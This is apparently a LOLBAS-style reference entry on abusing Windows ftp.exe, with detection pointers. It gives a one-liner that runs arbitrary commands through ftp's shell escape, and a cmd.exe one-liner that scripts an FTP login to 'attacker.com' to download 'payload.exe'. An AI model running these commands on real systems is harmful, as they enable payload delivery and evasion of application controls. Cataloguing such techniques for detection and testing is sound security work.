# .. /Ftp.exe

Execute | Download

A binary designed for connecting to FTP servers

**Paths:**
C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

**Resources:**
- https://twitter.com/0xAmit/status/1070063130636640256
- https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939
- https://ss64.com/nt/ftp.html
- https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/

**Acknowledgements:**
- Casey Smith (@subtee)
- BennyHusted
- Amit Serper (@0xAmit)

**Detections:**
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml
- IOC: cmd /c as child process of ftp.exe

## Execute

Executes the commands you put inside the text file.

```
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt
```

**Use case:** Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand
**Privileges required:** User
**Operating systems:** Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
**ATT&CK® technique:** T1202

## Download

Download

```
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
```

| | |
|---|---|
| **Use case:** | Spawn new process using ftp.exe. Ftp.exe downloads the binary. |
| **Privileges required:** | User |
| **Operating systems:** | Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 |
| **ATT&CK® technique:** | T1105 |